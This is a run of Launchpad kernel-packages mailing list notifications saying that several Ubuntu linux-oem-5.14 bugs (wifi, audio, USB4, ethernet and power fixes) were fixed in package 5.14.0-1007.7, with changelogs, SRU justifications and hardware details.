This bug was fixed in the package linux-oem-5.14 - 5.14.0-1007.7 --- linux-oem-5.14 (5.14.0-1007.7) focal; urgency=medium * focal/linux-oem-5.14: 5.14.0-1007.7 -proposed tracker (LP: #1949349) * Intel I225-IT ethernet controller: igc: probe of :02:00.0 failed with error -1 (LP: #1945576) - igc: Remove _I_PHY_ID checking - igc: Remove phy->type checking * Fix Screen freeze after resume from suspend with iGPU [1002:6987] (LP: #1949050) - drm/amdgpu: reenable BACO support for 699F:C7 polaris12 SKU - drm/amdgpu: add missing cleanups for Polaris12 UVD/VCE on suspend - drm/amdgpu: Fix crash on device remove/driver unload * Fail to detect audio output from external monitor (LP: #1948767) - ALSA: hda: intel: Allow repeatedly probing on codec configuration errors * Fix System hangs on black screen when reboot (LP: #1949321) - SAUCE: drm/i915: Don't request GMBUS to generate irqs when called while irqs are off - SAUCE: drm/i915/hdmi: Turn DP++ TMDS output buffers back on in encoder->shutdown() -- Timo Aaltonen Mon, 01 Nov 2021 12:38:15 +0200 ** Changed in: linux-oem-5.14 (Ubuntu Focal) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-oem-5.14 in Ubuntu. https://bugs.launchpad.net/bugs/1942994 Title: [SRU][OEM-5.13/OEM-5.14/U] Fix mt7921e wifi timeout error after resume Status in HWE Next: New Status in linux package in Ubuntu: Incomplete Status in linux-oem-5.13 package in Ubuntu: New Status in linux-oem-5.14 package in Ubuntu: New Status in linux-oem-5.13 source package in Focal: Fix Released Status in linux-oem-5.14 source package in Focal: Fix Released Bug description: SRU justification: [Impact] Mediatek 7921 wifi card is lost when stress S3. [Fix] Check the valid events from firmware, make it resume back. The patch is in maintainer's tree, but not merged to Linus's tree. Due to the schedule, send SRU as SAUCE patch. [Test] Verified on hardware, wifi works fine after stress S3. Tested on 3 platforms include the one platform that can reproduce the issue, all good. [Where problems could occur] Mediatek 7921 wifi may be broken. To manage notifications about this bug go to: https://bugs.launchpad.net/hwe-next/+bug/1942994/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1941893] Re: Improve performance and idle power consumption
This bug was fixed in the package linux-oem-5.14 - 5.14.0-1007.7 --- linux-oem-5.14 (5.14.0-1007.7) focal; urgency=medium * focal/linux-oem-5.14: 5.14.0-1007.7 -proposed tracker (LP: #1949349) * Intel I225-IT ethernet controller: igc: probe of :02:00.0 failed with error -1 (LP: #1945576) - igc: Remove _I_PHY_ID checking - igc: Remove phy->type checking * Fix Screen freeze after resume from suspend with iGPU [1002:6987] (LP: #1949050) - drm/amdgpu: reenable BACO support for 699F:C7 polaris12 SKU - drm/amdgpu: add missing cleanups for Polaris12 UVD/VCE on suspend - drm/amdgpu: Fix crash on device remove/driver unload * Fail to detect audio output from external monitor (LP: #1948767) - ALSA: hda: intel: Allow repeatedly probing on codec configuration errors * Fix System hangs on black screen when reboot (LP: #1949321) - SAUCE: drm/i915: Don't request GMBUS to generate irqs when called while irqs are off - SAUCE: drm/i915/hdmi: Turn DP++ TMDS output buffers back on in encoder->shutdown() -- Timo Aaltonen Mon, 01 Nov 2021 12:38:15 +0200 ** Changed in: linux-oem-5.14 (Ubuntu Focal) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-oem-5.14 in Ubuntu. https://bugs.launchpad.net/bugs/1941893 Title: Improve performance and idle power consumption Status in amd: Fix Committed Status in linux-oem-5.14 package in Ubuntu: Invalid Status in linux-oem-5.14 source package in Focal: Fix Released Bug description: [Impact] This can improve AMD performance for all Zen or newer CPU which support C3 shares cache. [Fix] Its not necessary to flush the caches in software before entering C3. Empirical measurements show: 40-45% improvement in speedometer score. ~15% improvement in idle power. The patch is in linux-next (tag next-20211007) and can be found @ https://git.kernel.org/pub/scm/linux/kernel/git/next/linux- next.git/commit/arch/x86/kernel/acpi/cstate.c?id=a8fb40966f19ff81520d9ccf8f7e2b95201368b8 [Test] This is requested by AMD. [Where problems could occur] Low risk. This only works on AMD Zen CPUs that supports this features. AMD tested it and provided estimated measurement results. Original descriptions A patch queued for 5.15 to change the C3 entry will improve AMD performance. https://lore.kernel.org/patchwork/patch/1478776/ Empirical measurements show: 40-45% improvement in speedometer score. ~15% improvement in idle power. Can you please include in 5.13-oem and 5.14-oem kernels? To manage notifications about this bug go to: https://bugs.launchpad.net/amd/+bug/1941893/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1945361] Re: [Yellow Carp] USB4 interdomain communication problems
This bug was fixed in the package linux-oem-5.14 - 5.14.0-1007.7 --- linux-oem-5.14 (5.14.0-1007.7) focal; urgency=medium * focal/linux-oem-5.14: 5.14.0-1007.7 -proposed tracker (LP: #1949349) * Intel I225-IT ethernet controller: igc: probe of :02:00.0 failed with error -1 (LP: #1945576) - igc: Remove _I_PHY_ID checking - igc: Remove phy->type checking * Fix Screen freeze after resume from suspend with iGPU [1002:6987] (LP: #1949050) - drm/amdgpu: reenable BACO support for 699F:C7 polaris12 SKU - drm/amdgpu: add missing cleanups for Polaris12 UVD/VCE on suspend - drm/amdgpu: Fix crash on device remove/driver unload * Fail to detect audio output from external monitor (LP: #1948767) - ALSA: hda: intel: Allow repeatedly probing on codec configuration errors * Fix System hangs on black screen when reboot (LP: #1949321) - SAUCE: drm/i915: Don't request GMBUS to generate irqs when called while irqs are off - SAUCE: drm/i915/hdmi: Turn DP++ TMDS output buffers back on in encoder->shutdown() -- Timo Aaltonen Mon, 01 Nov 2021 12:38:15 +0200 ** Changed in: linux-oem-5.14 (Ubuntu Focal) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-oem-5.14 in Ubuntu. https://bugs.launchpad.net/bugs/1945361 Title: [Yellow Carp] USB4 interdomain communication problems Status in amd: Fix Committed Status in linux-oem-5.14 package in Ubuntu: Invalid Status in linux-oem-5.14 source package in Focal: Fix Released Bug description: [Impact] Yellow carp w/ SW CM bi-directional interdomain communication may have some problems that the response packets are lost sometimes within the stipulated time. [Fix] Enable the retry by increasing retry count from 1 to 4. The patch is in linux-next (tag next-20211007) and can be found @ https://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git/commit/drivers/thunderbolt/ctl.c?id=641cdbea7635be3a177dbdf81356ccb16f3769e3 [Test] This is requested and tested by AMD. [Where problems could occur] Low risk. This only affects small number of AMD systems that would excess the time. Systems without problems won't be affected. = Original Description AMD internal team has found that for Yellow carp w/ SW CM bi- directional interdomain communication may have some problems. It's been aligned upstream to increase number of retries to account for these issues. https://git.kernel.org/pub/scm/linux/kernel/git/westeri/thunderbolt.git/commit/?h=next=641cdbea7635be3a177dbdf81356ccb16f3769e3 Can Canonical team please include this in future 5.14-OEM? To manage notifications about this bug go to: https://bugs.launchpad.net/amd/+bug/1945361/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1939528] Re: Need support of Qualcomm WCN6856
This bug was fixed in the package linux-oem-5.14 - 5.14.0-1007.7 --- linux-oem-5.14 (5.14.0-1007.7) focal; urgency=medium * focal/linux-oem-5.14: 5.14.0-1007.7 -proposed tracker (LP: #1949349) * Intel I225-IT ethernet controller: igc: probe of :02:00.0 failed with error -1 (LP: #1945576) - igc: Remove _I_PHY_ID checking - igc: Remove phy->type checking * Fix Screen freeze after resume from suspend with iGPU [1002:6987] (LP: #1949050) - drm/amdgpu: reenable BACO support for 699F:C7 polaris12 SKU - drm/amdgpu: add missing cleanups for Polaris12 UVD/VCE on suspend - drm/amdgpu: Fix crash on device remove/driver unload * Fail to detect audio output from external monitor (LP: #1948767) - ALSA: hda: intel: Allow repeatedly probing on codec configuration errors * Fix System hangs on black screen when reboot (LP: #1949321) - SAUCE: drm/i915: Don't request GMBUS to generate irqs when called while irqs are off - SAUCE: drm/i915/hdmi: Turn DP++ TMDS output buffers back on in encoder->shutdown() -- Timo Aaltonen Mon, 01 Nov 2021 12:38:15 +0200 ** Changed in: linux-oem-5.14 (Ubuntu Focal) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-oem-5.14 in Ubuntu. https://bugs.launchpad.net/bugs/1939528 Title: Need support of Qualcomm WCN6856 Status in HWE Next: New Status in OEM Priority Project: New Status in linux package in Ubuntu: Incomplete Status in linux-firmware package in Ubuntu: New Status in linux-oem-5.13 package in Ubuntu: Invalid Status in linux-oem-5.14 package in Ubuntu: Invalid Status in linux source package in Focal: Invalid Status in linux-firmware source package in Focal: Incomplete Status in linux-oem-5.13 source package in Focal: Fix Released Status in linux-oem-5.14 source package in Focal: Fix Released Status in linux source package in Hirsute: Won't Fix Status in linux-firmware source package in Hirsute: New Status in linux-oem-5.13 source package in Hirsute: Invalid Status in linux-oem-5.14 source package in Hirsute: Invalid Status in linux source package in Impish: Incomplete Status in linux-firmware source package in Impish: New Status in linux-oem-5.13 source package in Impish: Invalid Status in linux-oem-5.14 source package in Impish: Invalid Bug description: [SRU Justification] [Impact] Qualcomm WCN685x is not supported yet. [Fix] Qualcomm WCN685x support are mostly available in linux-next and mainline with one patch currently in kvalo/ath tree, and 3 additional in review. [Test Case] Test hardware connectivity, stability with basic checkbox tests: $ lspci -nnk | grep Network -A 3 :02:00.0 Network controller [0280]: Qualcomm Device [17cb:1103] (rev 01) Subsystem: Foxconn International, Inc. Device [105b:e0b8] Kernel driver in use: ath11k_pci Kernel modules: ath11k_pci [Where problems could occur] While this introduces a new hardware, it might need further polishments. [Other Info] WCN685x WiFi 6E capability is still under development and is moved to next milestone for oem projects. Firmware blobs for both WiFi and Bluetooth are also needed and will be SRUed when a formal release is made. == original bug report == Wireless Driver support: PCI\VEN_17CB_1103_E0B8105B_01 BT driver support: USB\VID_0489_E0C9_0001 Wireless Driver support: PCI\VEN_17CB_1103_01 BT driver support: USB\VID_0489_E0CC_0001 https://lore.kernel.org/linux-wireless/20210511162214.29475-8-jo...@codeaurora.org/ Already landed to mainline kernel v5.14-rc1. To manage notifications about this bug go to: https://bugs.launchpad.net/hwe-next/+bug/1939528/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1948767] Re: Fail to detect audio output from external monitor
This bug was fixed in the package linux-oem-5.14 - 5.14.0-1007.7
---
linux-oem-5.14 (5.14.0-1007.7) focal; urgency=medium
* focal/linux-oem-5.14: 5.14.0-1007.7 -proposed tracker (LP: #1949349)
* Intel I225-IT ethernet controller: igc: probe of :02:00.0 failed with
error -1 (LP: #1945576)
- igc: Remove _I_PHY_ID checking
- igc: Remove phy->type checking
* Fix Screen freeze after resume from suspend with iGPU [1002:6987]
(LP: #1949050)
- drm/amdgpu: reenable BACO support for 699F:C7 polaris12 SKU
- drm/amdgpu: add missing cleanups for Polaris12 UVD/VCE on suspend
- drm/amdgpu: Fix crash on device remove/driver unload
* Fail to detect audio output from external monitor (LP: #1948767)
- ALSA: hda: intel: Allow repeatedly probing on codec configuration errors
* Fix System hangs on black screen when reboot (LP: #1949321)
- SAUCE: drm/i915: Don't request GMBUS to generate irqs when called while
irqs
are off
- SAUCE: drm/i915/hdmi: Turn DP++ TMDS output buffers back on in
encoder->shutdown()
-- Timo Aaltonen Mon, 01 Nov 2021
12:38:15 +0200
** Changed in: linux-oem-5.14 (Ubuntu Focal)
Status: Fix Committed => Fix Released
--
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-oem-5.14 in Ubuntu.
https://bugs.launchpad.net/bugs/1948767
Title:
Fail to detect audio output from external monitor
Status in HWE Next:
New
Status in linux package in Ubuntu:
Incomplete
Status in linux-oem-5.13 package in Ubuntu:
New
Status in linux-oem-5.14 package in Ubuntu:
New
Status in linux source package in Focal:
Incomplete
Status in linux-oem-5.13 source package in Focal:
Fix Released
Status in linux-oem-5.14 source package in Focal:
Fix Released
Status in linux source package in Hirsute:
Fix Committed
Status in linux-oem-5.13 source package in Hirsute:
Invalid
Status in linux-oem-5.14 source package in Hirsute:
Invalid
Status in linux source package in Impish:
Fix Committed
Status in linux-oem-5.13 source package in Impish:
Invalid
Status in linux-oem-5.14 source package in Impish:
Invalid
Bug description:
[SRU Justification]
[Impact]
Few recent AMD systems shows "snd_hda_intel :00:1f.3: azx_get_response
timeout" and fail to detect the HDMI/DP audio output device when connects to
external monitor. It will work magically when re-loading the driver.
[Fix]
Backport the upstream fix c0f1886de7e1 ("Allow repeatedly probing on codec
configuration errors) from 5.15.0 rc. It adds the capability for retrying the
probe upon codec probe errors on the certain AMD platforms.
[Test]
1. Connect the external monitor to particular affected AMD systems with HDMI
or DisplayPort.
2. Go to Audio Settings to check if the HDMI/DP audio output device exist or
not.
[Where problems could occur]
Should be low risk, it adds the chance for retrying codec probe and won't
affect machines which used to work.
== Original Bug Description ==
Can not detect DP audio output
[Steps to reproduce]
1) install dell-bto-focal-fossa-grimer-rkl-X72-20210929-8.iso and boot into OS
2) switch to on-demand mode
3) connect an external monitor via DP Port
4) check sound setting --> Output Device
5) switch to performance mode
6) check sound setting --> Output Device
[Expected result]
System can detect DP audio output when external monitor connected
[Actual result]
Can not detect DP audio output
This issue can be reproduce in on-demand and performance mode.
[Failure rate]
1/1
[Additional information]
CID: 202101-28624
SKU: PRH-DVT-C6
Image: canonical-oem-somerville-focal-amd64-20200502-85+fossa-grimer-rkl+X72
system-manufacturer: Dell Inc.
system-product-name: OptiPlex 5490 AIO
bios-version: 1.4.1
CPU: 11th Gen Intel(R) Core(TM) i7-11700 @ 2.50GHz (16x)
GPU: 00:02.0 VGA compatible controller [0300]: Intel Corporation Device
[8086:4c8a] (rev 04)
01:00.0 3D controller [0302]: NVIDIA Corporation Device [10de:1f99] (rev a1)
kernel-version: 5.14.0-2006-oem
---
ProblemType: Bug
ApportVersion: 2.20.11-0ubuntu27.16
Architecture: amd64
AudioDevicesInUse:
USERPID ACCESS COMMAND
/dev/snd/controlC0: gdm1081 F pulseaudio
u 1592 F pulseaudio
CasperMD5CheckResult: skip
DistributionChannelDescriptor:
# This is the distribution channel descriptor for the OEM CDs
# For more information see
http://wiki.ubuntu.com/DistributionChannelDescriptor
canonical-oem-somerville-focal-amd64-20200502-85+fossa-proposed-release+X88
DistroRelease: Ubuntu 20.04
InstallationDate: Installed on 2021-10-27 (1 days ago)
InstallationMedia: Ubuntu 20.04 "Focal" - Build amd64 LIVE Binary
20200502-05:58
MachineType: Dell Inc. OptiPlex 5490 AIO
NonfreeKernelModules: nvidia_modeset nvidia
Package: linux (not installed)
ProcEnviron:
[Kernel-packages] [Bug 1947153] Re: Focal update: v5.14.10 upstream stable release
This bug was fixed in the package linux-oem-5.14 - 5.14.0-1007.7 --- linux-oem-5.14 (5.14.0-1007.7) focal; urgency=medium * focal/linux-oem-5.14: 5.14.0-1007.7 -proposed tracker (LP: #1949349) * Intel I225-IT ethernet controller: igc: probe of :02:00.0 failed with error -1 (LP: #1945576) - igc: Remove _I_PHY_ID checking - igc: Remove phy->type checking * Fix Screen freeze after resume from suspend with iGPU [1002:6987] (LP: #1949050) - drm/amdgpu: reenable BACO support for 699F:C7 polaris12 SKU - drm/amdgpu: add missing cleanups for Polaris12 UVD/VCE on suspend - drm/amdgpu: Fix crash on device remove/driver unload * Fail to detect audio output from external monitor (LP: #1948767) - ALSA: hda: intel: Allow repeatedly probing on codec configuration errors * Fix System hangs on black screen when reboot (LP: #1949321) - SAUCE: drm/i915: Don't request GMBUS to generate irqs when called while irqs are off - SAUCE: drm/i915/hdmi: Turn DP++ TMDS output buffers back on in encoder->shutdown() -- Timo Aaltonen Mon, 01 Nov 2021 12:38:15 +0200 ** Changed in: linux-oem-5.14 (Ubuntu Focal) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-oem-5.14 in Ubuntu. https://bugs.launchpad.net/bugs/1947153 Title: Focal update: v5.14.10 upstream stable release Status in linux-oem-5.14 package in Ubuntu: Invalid Status in linux-oem-5.14 source package in Focal: Fix Released Bug description: SRU Justification Impact: The upstream process for stable tree updates is quite similar in scope to the Ubuntu SRU process, e.g., each patch has to demonstrably fix a bug, and each patch is vetted by upstream by originating either directly from a mainline/stable Linux tree or a minimally backported form of that patch. The following upstream stable patches should be included in the Ubuntu kernel: v5.14.10 upstream stable release from git://git.kernel.org/ Linux 5.14.10 HID: amd_sfh: Fix potential NULL pointer dereference - take 2 objtool: print out the symbol type when complaining about it drivers: net: mhi: fix error path in mhi_net_newlink netfilter: nf_tables: Fix oversized kvmalloc() calls netfilter: conntrack: serialize hash resizes and cleanups KVM: x86: Handle SRCU initialization failure during page track init crypto: aesni - xts_crypt() return if walk.nbytes is 0 HID: usbhid: free raw_report buffers in usbhid_stop mm: don't allow oversized kvmalloc() calls netfilter: ipset: Fix oversized kvmalloc() calls HID: betop: fix slab-out-of-bounds Write in betop_probe usb: hso: remove the bailout parameter NIOS2: setup.c: drop unused variable 'dram_start' net: udp: annotate data race around udp_sk(sk)->corkflag HID: u2fzero: ignore incomplete packets without data ext4: flush s_error_work before journal destroy in ext4_fill_super ext4: fix potential infinite loop in ext4_dx_readdir() ext4: add error checking to ext4_ext_replay_set_iblocks() ext4: fix reserved space counter leakage ext4: limit the number of blocks in one ADD_RANGE TLV ext4: fix loff_t overflow in ext4_max_bitmap_size() ipack: ipoctal: fix module reference leak ipack: ipoctal: fix missing allocation-failure check ipack: ipoctal: fix tty-registration error handling ipack: ipoctal: fix tty registration race ipack: ipoctal: fix stack information leak debugfs: debugfs_create_file_size(): use IS_ERR to check for error driver core: fw_devlink: Improve handling of cyclic dependencies elf: don't use MAP_FIXED_NOREPLACE for elf interpreter mappings nvme: add command id quirk for apple controllers kvm: fix objtool relocation warning hwmon: (pmbus/mp2975) Add missed POUT attribute for page 1 mp2975 controller hwmon: (occ) Fix P10 VRM temp sensors sched/fair: Null terminate buffer when updating tunable_scaling sched/fair: Add ancestors of unthrottled undecayed cfs_rq perf/x86/intel: Update event constraints for ICX objtool: Teach get_alt_entry() about more relocation types af_unix: fix races in sk_peer_pid and sk_peer_cred accesses net: stmmac: fix EEE init issue when paired with EEE capable PHYs net: sched: flower: protect fl_walk() with rcu net: phy: bcm7xxx: Fixed indirect MMD operations net: hns3: disable firmware compatible features when uninstall PF net: hns3: fix always enable rx vlan filter problem after selftest net: hns3: reconstruct function hns3_self_test net: hns3: fix show wrong state when add existing uc mac address net: hns3: fix mixed flag HCLGE_FLAG_MQPRIO_ENABLE and HCLGE_FLAG_DCB_ENABLE net: hns3: don't rollback when destroy mqprio fail net: hns3: remove tc enable checking net: hns3: do not allow call hns3_nic_net_open repeatedly ixgbe: Fix NULL pointer dereference
[Kernel-packages] [Bug 1947154] Re: Focal update: v5.14.11 upstream stable release
This bug was fixed in the package linux-oem-5.14 - 5.14.0-1007.7 --- linux-oem-5.14 (5.14.0-1007.7) focal; urgency=medium * focal/linux-oem-5.14: 5.14.0-1007.7 -proposed tracker (LP: #1949349) * Intel I225-IT ethernet controller: igc: probe of :02:00.0 failed with error -1 (LP: #1945576) - igc: Remove _I_PHY_ID checking - igc: Remove phy->type checking * Fix Screen freeze after resume from suspend with iGPU [1002:6987] (LP: #1949050) - drm/amdgpu: reenable BACO support for 699F:C7 polaris12 SKU - drm/amdgpu: add missing cleanups for Polaris12 UVD/VCE on suspend - drm/amdgpu: Fix crash on device remove/driver unload * Fail to detect audio output from external monitor (LP: #1948767) - ALSA: hda: intel: Allow repeatedly probing on codec configuration errors * Fix System hangs on black screen when reboot (LP: #1949321) - SAUCE: drm/i915: Don't request GMBUS to generate irqs when called while irqs are off - SAUCE: drm/i915/hdmi: Turn DP++ TMDS output buffers back on in encoder->shutdown() -- Timo Aaltonen Mon, 01 Nov 2021 12:38:15 +0200 ** Changed in: linux-oem-5.14 (Ubuntu Focal) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-oem-5.14 in Ubuntu. https://bugs.launchpad.net/bugs/1947154 Title: Focal update: v5.14.11 upstream stable release Status in linux-oem-5.14 package in Ubuntu: Invalid Status in linux-oem-5.14 source package in Focal: Fix Released Bug description: SRU Justification Impact: The upstream process for stable tree updates is quite similar in scope to the Ubuntu SRU process, e.g., each patch has to demonstrably fix a bug, and each patch is vetted by upstream by originating either directly from a mainline/stable Linux tree or a minimally backported form of that patch. The following upstream stable patches should be included in the Ubuntu kernel: v5.14.11 upstream stable release from git://git.kernel.org/ Linux 5.14.11 Revert "ARM: imx6q: drop of_platform_default_populate() from init_machine" Revert "brcmfmac: use ISO3166 country code and 0 rev as fallback" libata: Add ATA_HORKAGE_NO_NCQ_ON_ATI for Samsung 860 and 870 SSD. perf/x86: Reset destroy callback on event init failure KVM: x86: nSVM: restore int_vector in svm_clear_vintr kvm: x86: Add AMD PMU MSRs to msrs_to_save_all[] KVM: x86: reset pdptrs_from_userspace when exiting smm KVM: do not shrink halt_poll_ns below grow_start selftests: KVM: Align SMCCC call with the spec in steal_time kasan: always respect CONFIG_KASAN_STACK tools/vm/page-types: remove dependency on opt_file for idle page tracking block: don't call rq_qos_ops->done_bio if the bio isn't tracked io_uring: allow conditional reschedule for intensive iterators x86/insn, tools/x86: Fix undefined behavior due to potential unaligned accesses smb3: correct smb3 ACL security descriptor irqchip/gic: Work around broken Renesas integration scsi: ses: Retry failed Send/Receive Diagnostic commands thermal/drivers/tsens: Fix wrong check for tzd in irq handlers nvme-fc: avoid race between time out and tear down nvme-fc: update hardware queues before using them swiotlb-xen: ensure to issue well-formed XENMEM_exchange requests Xen/gntdev: don't ignore kernel unmapping error selftests: kvm: fix get_run_delay() ignoring fscanf() return warn selftests: kvm: move get_run_delay() into lib/test_util selftests:kvm: fix get_trans_hugepagesz() ignoring fscanf() return warn selftests:kvm: fix get_warnings_count() ignoring fscanf() return warn selftests: be sure to make khdr before other targets habanalabs/gaudi: fix LBW RR configuration habanalabs: fail collective wait when not supported habanalabs/gaudi: use direct MSI in single mode usb: dwc2: check return value after calling platform_get_resource() usb: testusb: Fix for showing the connection speed scsi: elx: efct: Do not hold lock while calling fc_vport_terminate() scsi: sd: Free scsi_disk device via put_device() drm/amdkfd: fix svm_migrate_fini warning drm/amdkfd: handle svm migrate init error ext2: fix sleeping in atomic bugs on error platform/x86: gigabyte-wmi: add support for B550I Aorus Pro AX sparc64: fix pci_iounmap() when CONFIG_PCI is not set xen-netback: correct success/error reporting for the SKB-with-fraglist case net: mdio: introduce a shutdown method to mdio device drivers btrfs: fix mount failure due to past and transient device flush error btrfs: replace BUG_ON() in btrfs_csum_one_bio() with proper error handling nfsd: back channel stuck in SEQ4_STATUS_CB_PATH_DOWN platform/x86: touchscreen_dmi: Update info for the Chuwi Hi10 Plus (CWI527) tablet platform/x86: touchscreen_dmi: Add info for the Chuwi HiBook (CWI514) tablet afs:
[Kernel-packages] [Bug 1945967] Re: rtw89 kernel module for Realtek 8852 wifi is missing
This bug was fixed in the package linux-oem-5.14 - 5.14.0-1007.7 --- linux-oem-5.14 (5.14.0-1007.7) focal; urgency=medium * focal/linux-oem-5.14: 5.14.0-1007.7 -proposed tracker (LP: #1949349) * Intel I225-IT ethernet controller: igc: probe of :02:00.0 failed with error -1 (LP: #1945576) - igc: Remove _I_PHY_ID checking - igc: Remove phy->type checking * Fix Screen freeze after resume from suspend with iGPU [1002:6987] (LP: #1949050) - drm/amdgpu: reenable BACO support for 699F:C7 polaris12 SKU - drm/amdgpu: add missing cleanups for Polaris12 UVD/VCE on suspend - drm/amdgpu: Fix crash on device remove/driver unload * Fail to detect audio output from external monitor (LP: #1948767) - ALSA: hda: intel: Allow repeatedly probing on codec configuration errors * Fix System hangs on black screen when reboot (LP: #1949321) - SAUCE: drm/i915: Don't request GMBUS to generate irqs when called while irqs are off - SAUCE: drm/i915/hdmi: Turn DP++ TMDS output buffers back on in encoder->shutdown() -- Timo Aaltonen Mon, 01 Nov 2021 12:38:15 +0200 ** Changed in: linux-oem-5.14 (Ubuntu Focal) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-oem-5.14 in Ubuntu. https://bugs.launchpad.net/bugs/1945967 Title: rtw89 kernel module for Realtek 8852 wifi is missing Status in linux package in Ubuntu: Confirmed Status in linux-oem-5.10 package in Ubuntu: Invalid Status in linux-oem-5.13 package in Ubuntu: Invalid Status in linux-oem-5.14 package in Ubuntu: Invalid Status in linux source package in Focal: Won't Fix Status in linux-oem-5.10 source package in Focal: Fix Committed Status in linux-oem-5.13 source package in Focal: Fix Released Status in linux-oem-5.14 source package in Focal: Fix Released Status in linux source package in Impish: Fix Committed Status in linux-oem-5.10 source package in Impish: Invalid Status in linux-oem-5.13 source package in Impish: Invalid Status in linux-oem-5.14 source package in Impish: Invalid Bug description: == SRU Justification == [Impact] Realtek 8852AE, which is used by many new laptops, doesn't have a driver. [Fix] Add rtw89 driver to support Realtek 8852AE. [Test] After applying the patch, 8852AE can scan, connect and do TX/RX. [Where problems could occur] This is a brand new driver, unless the driver hits some subtle PCI or IOMMU bugs, there isn't much chance to introduce any regression. == Original Bug Report == Hi, Resulting: no wifi adapter detected. Currently WIP: https://patchwork.kernel.org/project/linux-wireless/list/?series=534633=* Workaround: use https://github.com/lwfinger/rtw89 that allows to build a dkms deb package. Ubuntu Impish kernel 5.13 (or 5.15 from unstable ppa) --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu69 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: fthx 4574 F pulseaudio /dev/snd/controlC2: fthx 4574 F pulseaudio /dev/snd/controlC0: fthx 4574 F pulseaudio CasperMD5CheckResult: pass CurrentDesktop: GNOME DistroRelease: Ubuntu 21.10 InstallationDate: Installed on 2021-09-15 (20 days ago) InstallationMedia: Ubuntu 21.10 "Impish Indri" - Alpha amd64 (20210910) MachineType: LENOVO 21AVFR Package: linux (not installed) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=fr_FR.UTF-8 SHELL=/bin/bash ProcFB: 0 amdgpu ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.15.0-4-generic root=/dev/mapper/vgubuntu-root ro quiet splash vt.handoff=7 ProcVersionSignature: Ubuntu 5.15.0-4.4-generic 5.15.0-rc4 RebootRequiredPkgs: Error: path contained symlinks. RelatedPackageVersions: linux-restricted-modules-5.15.0-4-generic N/A linux-backports-modules-5.15.0-4-generic N/A linux-firmware1.201 Tags: wayland-session impish Uname: Linux 5.15.0-4-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin lxd plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 06/21/2021 dmi.bios.release: 1.9 dmi.bios.vendor: LENOVO dmi.bios.version: R1MET39W (1.09 ) dmi.board.asset.tag: Not Available dmi.board.name: 21AVFR dmi.board.vendor: LENOVO dmi.board.version: Not Defined dmi.chassis.asset.tag: No Asset Information dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: None dmi.ec.firmware.release: 1.9 dmi.modalias: dmi:bvnLENOVO:bvrR1MET39W(1.09):bd06/21/2021:br1.9:efr1.9:svnLENOVO:pn21AVFR:pvrThinkPadP14sGen2a:rvnLENOVO:rn21AVFR:rvrNotDefined:cvnLENOVO:ct10:cvrNone:skuLENOVO_MT_21A0_BU_Think_FM_ThinkPadP14sGen2a: dmi.product.family: ThinkPad P14s Gen 2a dmi.product.name: 21AVFR
[Kernel-packages] [Bug 1945576] Re: Intel I225-IT ethernet controller: igc: probe of 0000:02:00.0 failed with error -1
This bug was fixed in the package linux-oem-5.14 - 5.14.0-1007.7 --- linux-oem-5.14 (5.14.0-1007.7) focal; urgency=medium * focal/linux-oem-5.14: 5.14.0-1007.7 -proposed tracker (LP: #1949349) * Intel I225-IT ethernet controller: igc: probe of :02:00.0 failed with error -1 (LP: #1945576) - igc: Remove _I_PHY_ID checking - igc: Remove phy->type checking * Fix Screen freeze after resume from suspend with iGPU [1002:6987] (LP: #1949050) - drm/amdgpu: reenable BACO support for 699F:C7 polaris12 SKU - drm/amdgpu: add missing cleanups for Polaris12 UVD/VCE on suspend - drm/amdgpu: Fix crash on device remove/driver unload * Fail to detect audio output from external monitor (LP: #1948767) - ALSA: hda: intel: Allow repeatedly probing on codec configuration errors * Fix System hangs on black screen when reboot (LP: #1949321) - SAUCE: drm/i915: Don't request GMBUS to generate irqs when called while irqs are off - SAUCE: drm/i915/hdmi: Turn DP++ TMDS output buffers back on in encoder->shutdown() -- Timo Aaltonen Mon, 01 Nov 2021 12:38:15 +0200 ** Changed in: linux-oem-5.14 (Ubuntu Focal) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-oem-5.14 in Ubuntu. https://bugs.launchpad.net/bugs/1945576 Title: Intel I225-IT ethernet controller: igc: probe of :02:00.0 failed with error -1 Status in HWE Next: New Status in linux package in Ubuntu: Fix Released Status in linux-intel package in Ubuntu: Invalid Status in linux-intel-5.13 package in Ubuntu: Invalid Status in linux-oem-5.10 package in Ubuntu: Invalid Status in linux-oem-5.13 package in Ubuntu: Invalid Status in linux-oem-5.14 package in Ubuntu: Invalid Status in linux source package in Focal: Won't Fix Status in linux-intel source package in 